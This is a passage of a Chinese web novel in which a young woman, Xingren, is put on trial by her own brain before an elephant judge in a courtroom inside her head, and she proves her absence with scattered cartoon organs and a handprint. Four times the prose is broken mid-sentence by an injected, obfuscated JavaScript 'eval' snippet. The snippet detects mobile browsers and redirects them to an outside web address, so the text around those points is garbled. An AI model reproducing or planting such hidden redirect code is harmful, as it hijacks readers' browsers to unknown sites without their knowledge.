杏仁急切地证明自己:“这次的昏迷更加严重,我连这里发生了什么都不知道,第三个问题是怎么论证的更是一点都没有听见。” 卷着法槌的鼻子有些放松。 杏仁乘胜追击:“《所有法》的公正在何处?趁着我昏迷的时候做出判决,连申辩的机会都不给我。” “这样的判决是否太不公平!” 蓝色的大象沉默了,它缓缓放下了法槌。 平摊在桌面上的《所有法》被不知道哪里吹来的风翻动得“哗哗”作响。 过了片刻,蓝斑好像下定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794195|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了某种决心。 滑梯一样的长鼻子长出了一口气:“那就只好重新审理了。” “我有异议!” 站在杏仁对面的家伙高举起手。 脑子站在对面,身上正穿戴着令杏仁很熟悉地四肢和五官。 它通身的颜色变得更深了,好像在极力压抑某种愤怒,黑色线条勾勒的圆眼睛直勾勾地盯着她。 “蓝斑审判长,难道她说什么你就相信什么?审判庭不应该以证据为王吗?” “我刚刚论证的那么多问题,哪一个没有提出证据!那她凭什么例外?” 蓝斑:“那你的诉求是?” “我的诉求很简单,”深红的脑子斩钉截铁,”她说她昏迷了,那就应该拿出证据!” “……” 场下一片哗然,证人们正在私语着。 大约都是在说些支持脑子的话吧。 杏仁向下看去,各式各样的眼睛群盯着她,距离她是如此靠近,却令她如此孤单。 审判对她来说是一个完全陌生的事情,她不认识任何人,自然也没有证人,一醒来就面临如此紧迫的场面,更没有时间去寻找证据。 她只有她自己。 她摸了摸自己裸露在外的胳膊,明明没有风,皮肤上却激起小疙瘩。 她能感觉到,蓝斑的视线落在她身上。 毕竟那头大象的眼睛实在太大,即使戴着眼镜也很难令人忽视目光。 脑子穷追不舍,而这些人正在等待她的回应。 她深吸一口气,一边疯狂地在脑袋中检索着,一边试探着说:“审判长大人,我认为我的昏迷是显而易见的。” “您想一想,正常情况下,有谁会几乎一整场审判才说那一段话,尤其是我还处于被告的位置上。这是关乎我生死的大事,我却不反驳,这不是太奇怪了吗?” 蓝斑没说话,依旧低头思索。 脑子抢先说:“这有什么奇怪的。” “不说话有很多的原因,或许是你不想说话,不想为自己辩护。” 杏仁觉得脑子简直在胡搅蛮缠:“我为什么要这样做啊。” “因为你觉得愧对于我,觉得我说得都是正确的。你良心发现,感到忏悔,所以才不说话。” “可是到了审判的最后,你又觉得无法面对即将到来的判决,于是你又反悔了,找了一个借口试图逃避责任。” 刚刚才熄灭的火焰又从她心中卷起,全然压倒了对陌生环境的恐惧。 因为太过愤怒,眼睛中被气出了泪水,她不可置信的盯着对面那颗深红色的脑子,那是她的脑子。 “你是我的脑子,我是什么样的人难道你不了解吗?——你为什么要这样刻意曲解我?要这样刻意的……伤害我?” 她一字一句地说,好像每一个字都在滴血:“我活在世界上,一直都很艰难。即使我绞尽脑汁的去规避,去规划,也总是什么都得不到的,很多事情,很多人曾经……” 杏仁深吸一口气,才艰难地说:“……伤害过我。” “可我真的没有想到,最后一个站在我对立面的人竟然是你?” “可我能想到。” 脑子的声音冷然将她的话截断。 很多情绪被掩去,它没有躲开杏仁的视线:“走到今天这一步,筹备这场审判庭,我花费了很多时间。” “换句话说,自从【内耗】赞助给我一个独立的意识那时起,我就命中注定要走到今天,从【杏仁的大脑】这个意识粘贴在我的身上时,我就注定要站在你的对立面。” “可是为什么啊?!”杏仁简直无法理解,“你究竟为什么要……” “是你先开始的!” “你刚刚说过这个世界上的很多人、很多事,它们都曾伤害过你,这说明在你的生命中还有很多很多的人,值得你去为他们整夜忧愁,甚至不惜于伤害我。” 脑子身体的颜色如同劣质的红酒,更加滞涩幽深。 “可是我的整个世界只有你。” “我们打你还没有出生就相遇了。” “认识你之后,我没有一天不为你工作,没有一天不想着你,我的世界里只有你一个人。” “所以你应当照顾好我的,可是你没有。” 房间里充斥着晦暗的粉光,杏仁好像从脑子穿戴的卡通眼睛里看见了某种难明的情绪。 它的声音很轻,却像泡泡糖一样黏住了杏仁的喉咙。 有一瞬间,她甚至说不出话。 “我在这个世界上唯一在意的人却根本不在意我,一想到这件事我就难过的要死了。” 脑子捂着“胸口”:“我真的真的很伤心。” 8. 断裂的血管 杏仁好像泄了气的皮球。 嗓子眼也好像被堵住了一样,过了半天,才从嗓子中挤出一句话:“可是我并不知道这一切。” “我只是……”杏仁尽力组织着语言,“想要活下去。” “是的,有时我确实忽视了健康,这一点不可否认。” “也是的,很多时候,我都把你排在了后面,我甚至没有注意到你,甚至把这一切当做理所当然。” “可这并不是我一个人的过错……” 她的目光聚焦于某处:“健康太过昂贵了。干净的食物,明丽的住所,恰当的假期,这都是我拼尽全力都无法奢望的。” “更何况……” 杏仁深吸一口气,还是说道:“更何况你是我的大脑,说句实在话,我所有的情绪不都是你赋予的吗?我所有的决定不都是你在拍板吗?我的意识不也都是从你体内产生的吗?” “当初做决定的时候你呆在我的脑袋里不出声。呵。现在好了,产生的结果不好了,我要死掉了,你站到我的对立面了。” “……” 房间对面墙壁挂着的金色“生物钟”漏了一拍,然后又若无其事的再次摆动。 粉红的空间又一次陷入了寂静,所有证人的目光齐刷刷再次聚焦于审判台上的脑子身上。 对面的脑子的身体颜色更加幽深,甚至都有些发紫,它盯着杏仁一动不动,要看看杏仁还能说出什么话。 杏仁叹了一口气,她一边想一边说道:“当年我吃不健康的食物时,你在我脑袋里喊着‘吃吧吃吧。’;我晚上想要睡觉的时候,你在我脑袋里‘滋滋啦啦’喷射着各种情绪,不让我入眠;我做出各种‘伤害’自己的决定时,你也没有反对我——” “不光没有反对,实际上根本就是你在我的脑袋里说着‘做吧做吧做吧’‘这个世界上有很多东西都比健康重要。’‘现在还不能吃饭,现在不能睡觉,如果不做完这个那个这个那个,明天可能活不下去’……” 脑子还是没有说话,颜色又暗沉了些。 “还没理解吗?”杏仁尽力忽视脑子的脸色,若无其事地用手划拉着打比方,力求她论证的完美:“如果把我看做一艘渔船,你就是船上的舵手。明明是你驾驶着船冲向风浪,可现在船要被风浪打沉了,你弃船逃跑了。” “要是你光弃船逃跑也就算了,你还把沉船的原因全都怪在船身上,说是船害了你,这不是太过分了吗……” 她的声音越来越轻,因为对面的脑子的身体颜色越来越黑,越来越黑。 它的身体越黑越凝实,透光度就越低,背后的影子就越加明显。 它本来就只是一颗小巧的脑子,即使安装上四肢也总归还是矮矮的,只能坐在对面原告席的桌面上。 而现在,在一片安静中,它忽然站起来了。 光迅速在它的身后拉出一道过分显眼的长影。 虽然它的腿脚只有短短的一截,但配上这个黑皮肤,加上背后的长影,站在桌面上却莫名具备了一种巨人的气质。 审判庭从没有这么安静过,证人们的呼吸声都非常浅淡。 空气中只有对面墙壁挂着的生物钟还在敬业却不规律地摆动。 脑子从桌子上跳下来,踏着钟表声,朝着杏仁的方向一步一步走过来。 杏仁心头一颤,喉咙却轻轻滑动,脑子在此刻好像停止了转动:“那个……黑色是一颗正常大脑应有的颜色吗……” “当然不是……那个,脑子啊……”蓝斑审判长轻轻敲了几下法槌,作为审判长他必须维持秩序,他清清嗓子,恢复原本的腔调,“原告【杏仁的大脑】,这里毕竟是审判庭,还是要遵守审判庭的规矩……不要殴打……” 蓝斑话音顿住,因为他看见脑子站定在他的面前,继而转向了他。 他讶异地张圆了嘴。 脑子的声音却出奇的冷静:“蓝斑审判长,我再次请求休庭两分钟。” “就在刚才又有几根血管破裂了,为了审判正常进行,为了这个房子不坍塌,我必须去一趟……” “好的好的,快去吧。” 见脑子的要求只是这样,蓝斑竟松了一口气,立马挥动鼻子批准了脑子的请求。 于是杏仁就看着脑子一步一步离开了审判庭,顺着螺旋楼梯向上走去,在众目睽睽之下迅速推开一个闪着红光的门,走了进去。 被关上的门轻轻晃动。 在生物钟的秒表转了两三圈后,脑子又推开那扇门出来了,它的状况明显好了许多,身体的颜色也逐渐回归正常——虽然还谈不上粉嫩,但也勉强算得上深红,而不再是吓人的黑紫。 它又回到了审判庭,若无其事地顺着椅子腿爬上去,紧接着再用小胳膊支撑着攀上了桌子。 它在桌上坐好,神色无异,也丝毫看不出生气的模样,只是说:“实在很抱歉,要不是实在有万分紧急的事情要处理,我也不会请求休庭。” “不过请放心……事情已经处理好了,现在我已经可以回来继续参与审判了。” “好的,处理好就行。” 蓝斑也只是卷起手帕扶起眼镜,擦了擦眼镜上面粘黏的汗,紧接着宣布审判继续。 这次脑子先说话了。 “你要是想要诡辩一些【自由意识】【意识与物质的关系】【大脑和人之间的关系】之类的话题,就大可到此为止了。” 它面色平静,只是用眼角处稍微流露出一丝疲倦的神色。 “虽然我作为你的大脑为你工作,但我能够做的事情实际上非常的少,具体来说也就是按按产生激素的按钮,调节一下控制面板;看哪根神经需要连了,给它们‘牵牵手’;看哪根血管堵了,疏通疏通‘下水道’。” “最近又新增了任务,给破裂的血管贴贴绷带。”脑子用死亡视线扫描她。 “……” “话又说回来,”脑子的目光从垃圾山上划过,途径柔软的粉红墙壁,最终再次回到她的身上。“你知道咱们开办审判庭的这个房间是哪里吧?杏仁。” “当然。” 所有的暗示都太过明显,和对面的脑子一样……不,现在是比脑子更粉嫩的柔软墙壁,挂在墙壁上一点也不规律的生物钟,还有那么多的门…… 其中一个门好像是,储存她记忆的……那是哪扇门呢? 一试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以你无需做这样的辩论了,我可以明确的告诉你,并且你可以将我现在所告诉你的东西当做真理一样记住,”脑子清了清嗓子—— “那就是,你叫做杏仁,你的意识是【杏仁】,你的工作是一个垃圾公司的情感游戏设计师。” “而我叫做大脑,我的意识是【杏仁的大脑】,我的工作是作为你的大脑让你产生【杏仁】这个意识,以及其他脑内调节工作和脑内杂务。” 蓝斑正微微点头,台下的证人也都一幅理所当然的模样,脑子说的这段话,好像确实是大家公认的普遍真理。 脑子说:“就算我是你的大脑,我掌握你所有的记忆,我也不是你,你也不是我,就拿一个简单的逻辑来讲。” “倘若你不在这里,倘若你还醒着,还在咱们的世界里,你正常地上下班,你和你的同事或者身边的任何人讲,来工作的人不是‘杏仁’而是‘一颗脑子’,他们都不会认同。” “所以你刚刚的辩论是无效的。”脑子最终指出,“更何况,我实际上根本没有必要听你讲这些。” “你还没有拿出证据,证明你一直处于昏迷状态,我根本无需听你辩解,”脑子扭身看向审判长,“我说的对吧,蓝斑审判长。” 9. 卡通四肢 “嗯?对。” 蓝斑正沉浸于这精彩的一幕。 原告与被告互相攻击,互相伤害。 这才是他熟悉的审判庭。 现在被脑子唤起,他有些遗憾地放下鼻子,将注意力从嗅闻这熟悉的气氛中转移回工作模式。 “是这样的,杏仁。”他说,“原告提出的异议合情合理。” 他面对杏仁:“既然被告杏仁,你主张:‘在整场审判庭,你都处于昏厥状态’——这一证词,你就应该拿出证据证明。” “无论是我,还是原告大脑,以及底下就坐的证人团们都已经为这场审判耗费了太多的时间和精力。不能因为你轻飘飘的一句话就全部推翻重来。” 他的鼻子轻轻触碰法槌:“我的法槌已经落下几次,很多问题都已经被证明完毕,《所有法》公平正义的光芒正照耀着我们,这一切都代表着——现在我该做出最终的判决了。” “所以请提出你的证据,否则我将继续作出判决。” 四周陷入寂静,证人正聚精会神地盯着她,脑子也没有再做出任何异议。 或许它们都觉得她根本无法拿出任何证据。 她好像被淹没在“注视”灌就的海里。 在此刻,她任何一个微弱的动作都被放大。 不能躲避了,她必须找出证据。 应该可以的吧,她毕竟住在侦探社,受到侦探社气氛的熏陶,而且她曾经还胆大包天地无证接过一个委托。 不看过程和结果,委托她也完成得不错了。 她还在公司制作一个恋爱游戏,那游戏也是跟探案有关的。 所以……她应该能找到吧,她的思绪一边开着小差,一边拼命地在她的记忆中搜寻着蛛丝马迹。 在她踏上审判庭之前到底发生了什么? 她记得昨天晚上她先是昏倒在地上。 闭眼前最后一幕,是坐落在桌面上的机器猫——还是没能给它换上电池…… 然后她应该是被送到了医院,虽然她已经失去了意识,完全不记得这一回事。 但结合她听见的脑子的证词,还有她陷入黑暗的时候,好像听见的急救室的声音,应该是这样。 可是……又是谁将她送到医院的呢? 她和谁的关系都没有亲近到那一步——足够那个人在大半夜来到她家,然后还能在门反锁的情况下打开家门,发现她倒在地上,并且第一反应不是逃跑,而是将她送到医院……说不定还垫了医药费。 现实世界的事情她是完全不知道。她只知道,在她恢复意识之后就一直陷在那一片黑暗里,她只能听见审判庭上的情况,但她并无法动弹,直到—— 她攥紧衣服下摆摩挲,手里总是要抓着点什么东西才能思考。 直到她听见脑子说“血管又断裂了”,然后听见了急救室的急救的声音。 所以,是不是只要找到那根血管,就能证明她的证词了呢? “那个……”她抬头。 “什么。”蓝斑身体向前倾。 “没事。”她又低下了头。 不行,血管断裂是所有人都知道的信息,根本不是她自己所拥有的信息,更何况现在她对这个地方完全都不熟悉,这是脑子熟悉的领域,她究竟要去哪里寻找哪根断裂的血管。 汗珠从杏仁的额头坠落,融入粉红的地板。 这实在是太难了。 虽然很不愿意,但她不得不承认,她确实不是侦探的材料。 要是她擅长探案,当初帮老太太找猫的时候也就不用使用穷举法——将几乎整个城市所有看不清颜色的猫都抓来洗一遍,才最终找到那只小白猫了。 嗯…… 商业水费真的很昂贵。 “被告?被告?你是又昏迷了吗?” 时间拖得太久,显然蓝斑有点不耐烦了。 “没有,我还清醒着。” 杏仁胡乱回答了一声,随即又陷入思绪。 她还得继续往下想,血管断裂后,她昏迷了,她昏迷之后发生了什么? 是直接就醒过来,就来到了审判庭吗? 好像是这样,但她的心中总有一个疑影。 话又说回来,她为什么会对这个地方如此熟悉,就好像……她已经来过一样。 就算这里是她的脑子内部,她也不应当如此熟悉,她好像知道这里的布置,而且还可以在没有任何记忆的情况下目光直接锁定那个正好储存着她记忆的房间。 “被告,时间有限,如果你再不出示你的证据,我就要做出判决了。”蓝斑的鼻子触碰到了法槌。 “请再给我一些时间,我能够想出来的。”杏仁恳求,“拜托。” “那你要加快速度了。”蓝斑耸动两下鼻子。 那不是梦。 她来过这里。 她的目光在四周搜寻。 虽然她并没有确切地到达这里的记忆,但她就是非常的确信,她来过这里。 她弯下腰,在众人的哗然声中搜寻。 “杏仁,你在干什么?” 蓝斑维持秩序:“不要再做奇怪的举动,请快点出示证据。” “马上,”杏仁的嘴上应道,目光却依旧下移。 她背过身去,在地上发现了洒在地上的线条形状的东西,她捡起那些东西,拿在手上端详。 这不是脑子身上的四肢吗? 目光无意中往旁边一瞥,她又看见附近散落的卡通圆眼睛和嘴巴。 她趴在地上,快速将那些零碎都捡起来。口中还在喃喃自语:“找到了。” 一些迷雾好像被拨开了,她还是不能确切地想起来在她失去记忆的这段时间里都发生了什么。 但看到这些零碎,她非常确定肯定:她一定曾来过这里,并且时间就在她昏迷的那段时间里。 看见杏仁直起身躯,从地上抱出一堆东西,蓝斑收回乱晃的鼻子,重新挺直身板,继续用他那浑厚平静的语气说:“被告杏仁,请出示你的证据。” “我要出示的……”杏仁第一次这么做,对流程还不太熟悉,磕磕绊绊的,总而言之,她按照大脑之前所做的那样:“我要出示的证据一是【洒落在地上的一套卡通器官】。” 她面对审判长讲:“请问整个庭审过程,是否有录音录像。” “当然。”蓝斑肯定。 “那么我请求调取录像,我要证明,在审判开启前,我根本就不在这里,我是直到刚才,您要落下法槌的时候,才来到这儿的。” “这话是什么意思?你不是刚昏迷了吗?”蓝斑一边让人调取审判庭的录像,一边问。 “我本来也以为是这样……但真的好难解释,我想……大概是类似于灵魂出窍一样的东西。” 蓝斑:“……” “……怎么说呢……刚刚站在那里的好像只是我的躯壳,我是刚刚才从楼梯上走下来,出于某种原因,从筐子里拿出了一套器官,然后穿戴在身上,紧接着我走到这儿。” 杏仁滑动视频,划到蓝斑举起法槌,即将作出判决的时候。 “然后不知怎么的,我就进入了这个身体,这些器官并没有跟随我,而是稀里哗啦地撒了一地。” 监控视频里显示,杏仁本来一动不动地站在那里,然后忽然,一堆器官莫名其妙地凭空出现,从她的身上洒落到地上。 紧接着就是视频中的杏仁忽然醒过来,然后抬起头喊到:“等等!” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794197|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯……” 蓝斑纠结起眉头,他又拖动视频,看了好几遍,杏仁的反应确实像刚刚被附体一样。 虽然很难相信,但这是审判世间万物的《所有法》旗下的审判庭,有点稀奇古怪的事情并不奇怪。 “那这个证据确实可以证明你之前并不在审判庭。” 他戴着大眼镜的眼睛从监控视频上移开,转向杏仁。 他一边让杏仁回到自己的位置上,又一边招呼人将监控视频拿走:“既然如此……” “等等!”这次是脑子喊的,“审判长大人,您能让我看看那个监控视频吗?” “……可以。” 蓝色的鼻子停滞一瞬,紧接着他挥挥鼻子,让助手将监控视频搬给脑子看。 就在脑子扶着圆眼睛去看时,蓝斑陈述:“我认为,这段监控视频以及杏仁出示的证据一,已经可以充分说明她并没有能力在审判庭中为自己辩护,也就是说……” “请等一下,”脑子还没看完就反驳道,“对于这个结论,我有异议。” “……你说。” 它终于看完了视频,让助手将视频收回去:“蓝斑审判长,您和大家都知道,整个审判庭,都是我一手筹备的。我用赞助的钱买了一筐这些器官,方便没有器官的证人使用。” “为了方便取用,我很贴心地专门把它放到了楼梯口,这样无论需要它的证人从哪一个门进来,路径都会交汇在这里,也就是说,所有人都有机会接触到这些东西。” “更何况您知道的,我要准备的东西实在太多了,我不光要招待这些证人,还要准备我的证言,还要收拾这里,准备这些桌椅板凳什么的,以便于召开这次审判庭,更何况这里还会冒出很多突发的紧急状况,需要我处理。” “我并没有一直看守着那个筐。” “或许……您不能否认这种可能性,杏仁趁着大家不注意,从那个筐里私自拿了一套器官,她就藏在她的衣服里头,等到情况不妙,她就扔出来,又编了这么一个故事来糊弄大家。” “审判长大人,这就是我的想法,请您裁决。” 蓝斑伸出长鼻子挠了挠头,有那么一瞬间,他忽然开始怀念这场审判刚开始的样子了—— 被告一言不发,任由原告巴拉巴拉地说,就保持那样多好。 现在事情发展到这一步,真是愁人。 他皱起眉头,仔细思索,最终还是下决定说:“脑子的异议是有道理的。” “被告杏仁,你有更确切的证据吗?” 更确切的证据? 杏仁蹙眉,她已经完全认识到对面这颗脑子是不会轻易放过她的,她必须找到一个万无一失的证据,甚至还要找寻一个巧妙的时机与方式掏出证据,才能将对方驳倒。 “我试试看。”她随手捡起一根线条胳膊,摩挲着,一边再次将自己置身于那片思绪的迷雾。 她是什么时候、在什么状态之下拿到这根胳膊的呢? 如果要拿到这根胳膊,她一定要从那个筐子旁边经过。 如果要从那个筐子经过,她应该要从那个螺旋楼梯上下来。 杏仁的目光顺着楼梯往上探寻,螺旋状的楼梯上面高高矮矮的,悬挂着不同形状的门。 那些门是那么的眼熟,脑子刚刚休庭时推开的冒着红光的门,那个装着她记忆的卷帘门,还有那些过分小过分大的门。 门。 这么多的门,这么多……熟悉的门。 杏仁忽然惊异的意识到,这些门她都见过。 她骤然抬眸,一种莫名的兴奋感从心底涌起。 她的路线一定是一条可以途经所有门的路线。 那么她的起点就是——最末端的那扇门。 10. 脑子朋友 只是…… 她不能平铺直叙,如果只是干巴巴地陈述,则又会被脑子挑刺,甚至矢口否认。 杏仁在心里叹了口气,这项论证对她来说也太过艰难了,她费尽心思地去寻找证据,可脑子却只是提出一个可能性就能够将她的论证驳倒。 这种形式对她来说太过不利。 证明她的主张是正确的实在太困难了。 可如果是这样…… 如果她换一种思路,证明脑子所说得是错误的呢? 杏仁眼中有光芒流转。 她转眼便掩去眼中的光,视线直直地望向蓝斑,故作严肃地说:“蓝斑审判长,我想请问一下,原告的主张是什么呢?” “你的意思是?”蓝斑询问。 “我的主张是:我在刚刚您要作出判决之前,才来到了审判庭,之前的审判我根本没有能力参加。” “那么脑子的主张是什么呢?既然脑子认为我的主张是错误的,那它是认为我什么时候抵达这里的呢?” 还没等蓝斑反应过来,她便乘胜追击:“我想请问这件事情我要证明到什么程度才算完呢?” “就在刚刚我已经拿出了我的证据,您也看了监控视频,您也看见了那些卡通器官是凭空出现的,和我的证言正好符合。” “我觉得我作为一个刚刚醒来的人,能够证明到这种程度已经很不容易了。”她说,“昨天晚上,我还在家中愁闷工作上的事情,我还在正常的生活着,我无法未卜先知,我并没有时间筹备这场审判,我甚至都不知晓世界上还有审判庭这样的东西存在。可是脑子不一样,按照它刚刚自己说的,这场审判是它一手筹划的……” 一口气说到这儿,杏仁换了口气,才继续说道:“您看它身后的证人团是多么的庞大,可是很明显我的身后空无一人。” “我并没有时间思考证言,也没时间寻觅证人,刚刚的情况又过分紧急,我甚至没有时间编造谎言。” “那么你的意思是?” 蓝斑声音低了一些,听得出他已经有些被说服了。 “我的意思很简单:我刚刚已经拿出了我的证据,我的证据也恰好与我的证词吻合,而脑子只是提出了一个异议,它并没有对它的异议作出任何证明。” “既然脑子没有做出证明,您就应该认为我的证据是足够的。否则的话,我究竟要证明到如何地步,难道要使时光流转,让大家亲眼看见我进入这个粉红房间的过程……” “难道我要证明到那个地步才算论证完成吗?” 蓝斑微微颔首,他沉默片刻,才开口要求脑子:“原告大脑,请提出你的主张。” 脑子:“我凭什么要……” “如果你不提出你的主张,那我就只能认为杏仁的证据充足,她的确是刚刚才来到的审判庭,之前她的确没有能力参加审判。” 脑子深吸了一口气,它知道审判长已经下定决心,没有转圜的余地了。 它只好说:“我认为杏仁一直待在审判庭,并且一直有能力参与审判,我的证据很简单,大家都亲眼看见的。” “整场审判,她都站在那里,而且她中途还说过一段话,说那段话的时候大家也都听见了,这是客观事实,这就是我的主张。” “我有异议!”脑子话音刚落,杏仁就立刻进行辩驳,“我想请问大脑一个问题,既然你说我一直站在这里,那么请你说清楚,我是什么时候到这里的。” “当然是庭审之前。” “你确定我是庭审之前来的这里。” “当然,大家都看见的。” “我是怎么进来的。” “你是推门走进来的。” “那你还记得是哪扇门吗?” “你到底想要说什么。” “请你回答我的问题。” 脑子被问到不耐烦,但见审判长并没有阻止杏仁的提问,于是只好耐着性子回答道:“你当然是和绝大多数的证人一起,从二层那扇普通的木门进来,那扇门大小合适,距离大厅又近,大家都喜欢从那扇门进来。” “你很清楚地记得我从那扇门走进来吗?”终于抓到了脑子的漏洞,杏仁尽力压平嘴角。 “不光是我,很多证人都看见了,”脑子指向下方就坐的奇形怪状的证人们,“你当时走路又沉重又迟缓,甚至和大脑专家撞在一起,还差点撞摔了他的大脑模型。” “这件事他可以作证,还有其他的证人都可以作证。” “是这样的吗?”杏仁转而扭头问底下的证人们。 当目光落在大脑专家的身上时,那个抱着大脑模型颓废的中年男人点头,他爱怜地抚摸着手中的脑子模型——那模型和脑子一样大小,却比脑子颜色正常多了。 他说:“你欠我的伙伴一个道歉。” “当然,”杏仁眼中含着笑意,“我当然应该说声抱歉,但是,关于我怎么来的,从哪扇门进来,我有异议。” “审判长大人,”她转向一脸凝重的审判长,“您刚刚亲耳听见,脑子它主张我从第二层的第一扇门进来,并且这个主张还有证人,对吧。” “是的。”蓝斑微微点头。 “就这一点,我和脑子就有分歧。我主张我是从倒数第一个门进来的。” 蓝斑审判长一脸凝重,它伸出鼻子揉了揉脑袋,然后才询问底下的证人:“最后那一扇门有谁进来吗?有谁从那里见过杏仁吗?” 证人们左右议论,互相核对彼此进来的门,可没有任何一个人说见到杏仁从最后一个门进来。 其中一个证人说:“审判长大人,我们都是从下面的门进来的,没人注意最上面的情况。” 他话音刚落,脑子便冷笑一声:“你的主张怎么可能成立?最后那一扇门从来没有人进来,更何况那么多人都已经看见你从第二层那扇门进来。” “从第二层那扇门进来的只是我的躯体。” 杏仁现在已经有了九分把握,她面对大家说:“也正是这个原因,我的行动才会非常笨拙,甚至还撞到了人。” “撞到了你当时也没有和你说抱歉对吧,大脑专家,所以你才会说我欠你一个道歉。” 大脑专家颔首。 “而我真正是从最后那一扇门进来的,不光如此,蓝斑审判长,脑子刚才自己说的,从来没有人从最后那一扇门进来,也就是说我是第一个推开那扇门的人。” “那么请您跟我来。” “……” 蓝斑叹了口气,挑起眼皮白了她一眼:“我的身躯那么巨大,怎么在那么小的楼梯移动,一会儿房子就要塌了。” “那……”杏仁搓搓手。 “让我的助手跟你去吧。” “好的好的,”杏仁从善如流,“是我疏忽了。” 为了庭审公正,她带着助手,庭审的录像机,以及原告脑子,还有【高清相机】【大脑专家】等几个证人代表一起前往顶部。 绕着螺丝纹一样的楼梯爬了很久,终于来到了最后一个门。 “请看。”杏仁带着大家站定在那里。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794198|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你让我们看什么?”爬了太高的楼层,【高清相机】腿脚又短,它不耐烦地说,“爬这么高的路,你最好不是要拖延时间!” “请别着急。”杏仁说,“请助手带着录像机推开那扇门,看门的背面。” 随着助手的移动,她又补充道:“实话说,昏迷时的记忆我不记得什么了,只是,有一幕我印象很深刻,因为很久没有人从那扇门进来,所以我推开的那扇门满是灰尘。” “所以,如果我没猜错,那扇门的背后应该有一个手印吧。” 她话音刚落,众人连忙跟随着助手往那扇门后面拥去,果然在门后发现了一个手掌印。 【高清相机】连忙举起自己左拍右拍,助手则将录像机放在旁边,一边录像,一边在门上取证。 杏仁伸出右手,在空气中隔空比划,大小和那枚手掌印相同。 她对助手说:“辛苦您了,我保证这枚手掌痕迹是我的,如果您需要做任何检测,我随时可以配合。” …… 他们绕着原路返回审判庭,回来的时候,杏仁一手将【高清相机】捞起来,避免对方继续劳动它的小胳膊小腿,“真不好意思让你走了这么远的路。” 【高清相机】冷哼一声,但也没有说什么。 杏仁又低头问脑子:“需要我把你一起带下去吗?” “不用。”脑子颇为高冷,一口回绝,“你别把我摔到地上,我就谢天谢地了。” 脑子总是能令她恼火,对方不需要,杏仁也没自讨没趣。 于是她就听着脑子在后面呼哧呼哧地跟着跑。 走了一半的路程,她还是没忍住,扭头将对方一把捞起来。对方的材质如同果冻,摸起来粘粘软软的。 脑子还在伸长腿扑腾:“我才不用你假好心呢!” “好了好了,”杏仁也不理它,“费了那么大的力气准备的审判庭,一会儿没力气了可要被我驳倒了。” 说到这里脑子才不挣扎了,只是嘴中还是念叨着:“只是现在让你找到了证据,我的证据还多着呢。” 他们回到审判庭后,助手将刚刚的情况一一汇报给审判长,并将整个录像都回放给审判长。 审判长一直点头。 他用鼻子推了推黑色的眼睛,望向杏仁的视线颇为复杂。 杏仁没有等他来询问自己,而是主动说道:“蓝斑审判长,这就是我要提交的证据二【门后的手掌印】。” 蓝斑的态度明显有些动摇,杏仁赶忙添了一把火:“如果您还不相信,我们可以去我的记忆库里翻找一下。” “虽然我现在没有办法完全回忆起那段时间究竟发生了什么。” “但我记忆库里面一定保存着这些我无法回忆起的、藏在潜意识之中的记忆。这就需要脑子朋友带路……”杏仁猛地一顿,她不知道自己为什么那么顺口,忽然称呼对方为脑子朋友。 ……或许是刚刚驳倒对方,一时间有些得意吧。 她敛起古怪的心绪,继续说道:“我相信,虽然需要花费一段时间,但在我的记忆库里面一定能够找到那段记忆,可以作为证据证明这个问题。” 蓝斑并没有立刻给出结论,而是先询问脑子:“原告大脑,你还有异议吗?需要我们去翻找证据吗?” 杏仁抬眸,她的视线与脑子对上,她惊异地发现,对方看她的眼神颇为复杂,她还没来得及思考为什么,对方已经收回了眼神。 对方很罕见地没有较真,而是简单地说:“我没有异议了。我认可杏仁提出的主张。” 11. 推卸责任 “好的,”终于达成了一致,蓝斑举起鼻子长长出了一口气,吹得面前的《所有法》“沙沙”地翻页。 他用鼻子将《所有法》摁住,宣布道:“就‘杏仁于何时采取何种方式参与庭审’这一议题,我们已经得到了结论——杏仁是在我即将要做出判决时才到达审判庭,才真正参与到庭审中的。” 杏仁攥紧衣摆的手稍微放松。 可还没等她松一口气,就听蓝斑继续说道:“虽然是这样,但庭审已经进行了很久,原告大脑已经出示了很多的证据,做出了很多的论证,那些证据与论证都很有力,那些都是已经提交给《所有法》被它确认、承认过的。” 手重新攥皱了衣摆。 周围很安静,所有人都聚精会神地看着蓝斑。 